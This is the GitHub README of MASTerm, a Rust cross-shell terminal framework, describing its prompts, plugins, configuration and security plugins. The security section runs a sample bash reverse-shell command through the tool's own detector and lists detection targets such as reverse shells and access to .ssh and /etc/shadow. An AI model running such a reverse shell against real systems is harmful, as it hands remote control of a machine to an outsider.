Skip to content

singhalmridul/MASTerm

Repository files navigation

MASTerm


🚀 MASTerm

Master your Terminal — A blazing fast, intelligent, cross-shell terminal framework built in Rust.

📚 DocumentationQuick StartFeaturesInstallationShell SetupUsagePluginsConfiguration

Rust License Platform Shells Stars

LOC Crates Plugins


🎯 Quick Start

Run the interactive installer to set up MASTerm and choose your features:

# One-command install (macOS/Linux)
curl -fsSL https://raw.githubusercontent.com/singhalmridul/MASTerm/main/install.sh | bash

# Configure your experience (Recommended)
masterm setup

# Restart your terminal, and you're done! ✨

⚡ Why MASTerm?

🏎️ Performance

Metric MASTerm Oh My Zsh
Startup < 50ms 200-500ms
Prompt < 30ms 50-100ms
Memory ~5MB ~50MB

🎯 Capabilities

Feature MASTerm Others
Cross-Shell
Zero Config
Prod Safety
Enterprise

✨ Features

🧙 Interactive Setup Wizard

Just like Powerlevel10k, but simpler. Run masterm setup to visually configure:

  • 🎨 Color Themes
  • ⚡ Safety Levels
  • ☁️ Cloud Sync

👋 Beautiful Welcome Screen

Greet your day with style. masterm welcome shows a stunning ASCII banner and real-time system stats (CPU/RAM) every time you open a new terminal.

🎨 Beautiful, Informative Prompts

~/projects/api  main +2 ~1  v18.19.0  15ms
❯ _

Your prompt shows everything at a glance:

  • 📁 Current directory
  • 🔀 Git branch & status
  • 📦 Language versions (Node, Python, Rust, Go)
  • ⏱️ Command duration
  • ⚠️ Production warnings

🖥️ High-Fidelity TUI Dashboard

Running masterm dashboard opens a premium terminal interface:

  • System Monitor: Real-time charts for CPU, Memory, and Network I/O.
  • Cyberpunk Theme: Beautiful charts with history tracking.
  • Config & Plugins: Manage your setup visually.

☁️ Cloud Sync

Sync your configuration across machines using GitHub Gists:

masterm sync push    # Backup config
masterm sync pull    # Restore config

🔍 Zero-Config Intelligence

MASTerm automatically detects and displays context:

Context Auto-Detects
Git Branch, status, ahead/behind, stash count
Node.js Version, package name
Python Version, virtualenv
Rust Version, crate name
Go Version, module name
Docker Container context
Kubernetes Current context
Environment Dev / Staging / Production

🤖 AI Command Assistance

Stop memorizing complex flags. Just ask:

masterm ask "undo last commit"
masterm ask "find text in files"
masterm ask "kill process on port 3000"

MASTerm converts natural language into shell commands with a smart risk assessment engine.

⚡ Workflow Automation

Define complex team tasks in workflows.toml and run them with one command:

masterm run deploy

Automate builds, tests, and deployments with a declarative task runner.

🛡️ Production Safety Guards

╔═══════════════════════════════════════════════════════════╗
║  ⚠️  PRODUCTION ENVIRONMENT DETECTED                      ║
╠═══════════════════════════════════════════════════════════╣
║  You are about to run: rm -rf logs/                       ║
║                                                           ║
║  Type 'yes' to confirm, or Ctrl+C to cancel:              ║
╚═══════════════════════════════════════════════════════════╝

🎯 Multiple Modes

Mode Description Use Case
minimal Fastest startup, basic prompt Quick tasks
dev Git + language detection Daily development
ops All guards enabled Production work

🔐 Enterprise-Grade Security

MASTerm includes 10 built-in security plugins for threat detection and command auditing:

$ masterm security check -- "bash -i >& /dev/tcp/10.0.0.1/4444"
  ⚠️  Threats Detected:
     🐚 Reverse Shell - Bash reverse shell
  Risk Level: Critical
Plugin Protection
Secret Detection Blocks leaked API keys, tokens, passwords
Audit Logging Forensic-grade command logging with hash chains
Privilege Escalation Environment-aware sudo/su warnings
Suspicious Patterns Detects reverse shells, encoded commands
Network Monitor Tracks outbound connections
Package Audit Typosquatting detection, malicious package blocklist
File Integrity Alerts on .ssh, .env, /etc/shadow access
SSH/GPG Monitor Key generation, export, deletion alerts
IP Reputation Threat intelligence integration
Sandbox Mode Restricted execution environment
masterm security status     # View security dashboard
masterm security patterns   # View detection patterns
masterm security audit show # View audit logs

See SECURITY.md for detailed documentation.

📦 Installation

Quick Install (Recommended)

One command installs everything:

# Using curl (macOS/Linux)
curl -fsSL https://raw.githubusercontent.com/singhalmridul/MASTerm/main/install.sh | bash

# Using wget
wget -qO- https://raw.githubusercontent.com/singhalmridul/MASTerm/main/install.sh | bash

# Specify shell explicitly
curl -fsSL https://raw.githubusercontent.com/singhalmridul/MASTerm/main/install.sh | bash -s -- --shell zsh

What it does:

  1. ✅ Installs Rust (if needed)
  2. ✅ Builds MASTerm from source
  3. ✅ Creates config files
  4. ✅ Sets up your shell

From Source

# Clone
git clone https://github.com/singhalmridul/MASTerm.git
cd MASTerm

# Build & Install
cargo build --release
cargo install --path crates/masterm-cli

# Setup
masterm install

Verify Installation

masterm --version    # Check version
masterm doctor       # Run diagnostics

🐚 Shell Setup

MASTerm supports Zsh, Bash, Fish, and PowerShell.

Automatic (Recommended)

masterm install              # Auto-detect shell
masterm install --shell zsh  # Specific shell

Manual Setup

🔷 Zsh — Add to ~/.zshrc
# Cargo PATH
export PATH="$HOME/.cargo/bin:$PATH"

# MASTerm
eval "$(masterm init zsh)"
🟢 Bash — Add to ~/.bashrc
# Cargo PATH
export PATH="$HOME/.cargo/bin:$PATH"

# MASTerm
eval "$(masterm init bash)"
🐟 Fish — Add to ~/.config/fish/config.fish
# Cargo PATH
set -gx PATH $HOME/.cargo/bin $PATH

# MASTerm
masterm init fish | source
💠 PowerShell — Add to $PROFILE
# Cargo PATH
$env:PATH = "$env:USERPROFILE\.cargo\bin;$env:PATH"

# MASTerm
Invoke-Expression (& masterm init powershell)

After setup, run exec $SHELL or restart your terminal.


🎮 Usage

Essential Commands

Command Description
masterm doctor Check installation health
masterm mode <mode> Switch modes (minimal/dev/ops)
masterm config edit Edit configuration
masterm config show Show current config
masterm plugins list List all plugins
masterm cache clear Clear cache
masterm profile startup Profile performance

Mode Switching

masterm mode            # Show current mode
masterm mode minimal    # Fastest, basic prompt
masterm mode dev        # Balanced (default)
masterm mode ops        # Maximum safety

Shell Completions

masterm completions zsh > ~/.zsh/completions/_masterm
masterm completions bash > /etc/bash_completion.d/masterm
masterm completions fish > ~/.config/fish/completions/masterm.fish

🔌 Plugins

Built-in Plugins (11 total)

Plugin Trigger Shows
git .git/ Branch, status, ahead/behind
env Always Dev/staging/prod indicator
prod-guard Production env Safety warnings
node package.json Node.js version
python pyproject.toml Python version, venv
go go.mod Go version
rust Cargo.toml Rust version
docker Dockerfile Docker context
kubernetes kubectl available K8s context
java pom.xml Java version

Plugin Marketplace

Discover and install plugins from the community registry:

masterm plugins search docker   # Search registry
masterm plugins install docker-context # Install plugin
masterm plugins list            # List installed

Manual Management

masterm plugins list           # List all
masterm plugins enable git     # Enable
masterm plugins disable java   # Disable
masterm plugins info git       # Details

Plugin Configuration

# ~/.masterm.toml

[plugins]
enabled = ["git", "node", "python"]
disabled = ["java"]

[plugins.git]
show_stash = true
show_ahead_behind = true
truncate_branch = 30

[plugins.ext]
# MASTerm supports loading external WASM plugins from ~/.masterm/plugins
wasm_enabled = true

⚙️ Configuration

Config Hierarchy

  1. Enterprise/etc/masterm/enterprise.toml
  2. User~/.masterm.toml
  3. Project.masterm.toml

Full Configuration Reference

# ~/.masterm.toml

[core]
mode = "dev"                    # minimal | dev | ops
log_level = "warn"              # trace | debug | info | warn | error

[prompt]
format = "powerline"            # powerline | simple | minimal
add_newline = true
left = ["directory", "git_branch", "git_status"]
right = ["cmd_duration"]

[prompt.icons]
mode = "auto"                   # auto | nerd | unicode | ascii | none

[prompt.colors]
theme = "catppuccin"            # catppuccin | dracula | nord

[plugins]
enabled = []
disabled = []

[safety]
prod_detection = true
prod_patterns = ["**/prod/**", "**/production/**"]
dangerous_commands = ["rm -rf", "DROP DATABASE", "kubectl delete"]
warning_style = "banner"

[cache]
ttl = 300
max_size = 100

🎨 Themes

Built-in Themes

Theme Colors
Catppuccin (default) Soft pastels, easy on eyes
Dracula Vibrant purple/pink
Nord Cool arctic blues
[prompt.colors]
theme = "catppuccin"  # or "dracula" or "nord"

Icon Modes

Mode Description
auto Detect Nerd Fonts, fallback gracefully
nerd Force Nerd Font icons
unicode Unicode symbols
ascii Plain ASCII (most compatible)
none No icons

🏢 Enterprise Features

For organizations and teams:

# /etc/masterm/enterprise.toml

[enterprise]
enabled = true
org_id = "your-company"

[lockdown]
locked_settings = ["safety.prod_detection", "telemetry.enabled"]

[plugins]
allowlist = ["git", "env", "prod-guard"]
denylist = ["untrusted-plugin"]

[safety]
force_prod_patterns = ["/var/www/**"]
force_dangerous_commands = ["rm -rf /"]

🔧 Troubleshooting

Quick Diagnostics

masterm doctor

Common Issues

Prompt not showing
  1. Check PATH: which masterm
  2. Re-run: masterm install
  3. Reload: exec $SHELL
Icons not displaying

Install a Nerd Font or use:

[prompt.icons]
mode = "unicode"  # or "ascii"
Slow startup
masterm profile startup    # See what's slow
masterm mode minimal       # Use minimal mode

📊 Project Stats

Metric Value
Language Rust 🦀
Lines of Code ~35,000
Crates 6
Plugins 21 built-in (11 context + 10 security)
Shells 4 supported
CLI Commands 13

Architecture

masterm/
├── crates/
│   ├── masterm-core      # Core engine (config, context, prompt)
│   ├── masterm-cli       # CLI binary (13 commands)
│   ├── masterm-plugins   # Built-in plugins (21 plugins)
│   ├── masterm-security  # Security library (patterns, audit, reputation)
│   ├── masterm-shell     # Shell adapters (4 shells)
│   └── masterm-tui       # Terminal UI dashboard
├── scripts/              # Installation scripts
└── install.sh            # One-command installer

🤝 Contributing

We welcome contributions! See CONTRIBUTING.md.

git clone https://github.com/singhalmridul/MASTerm.git
cd MASTerm
cargo build
cargo test
cargo run -- doctor

📄 License

MIT License — see LICENSE for details.


MASTerm — Master your Terminal ⚡

GitHubIssuesDiscussions

Made with ❤️ by Mridul Singhal

About

🚀 Master your Terminal — A blazing fast, intelligent, cross-shell terminal framework built in Rust (Zsh, Bash, Fish).

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors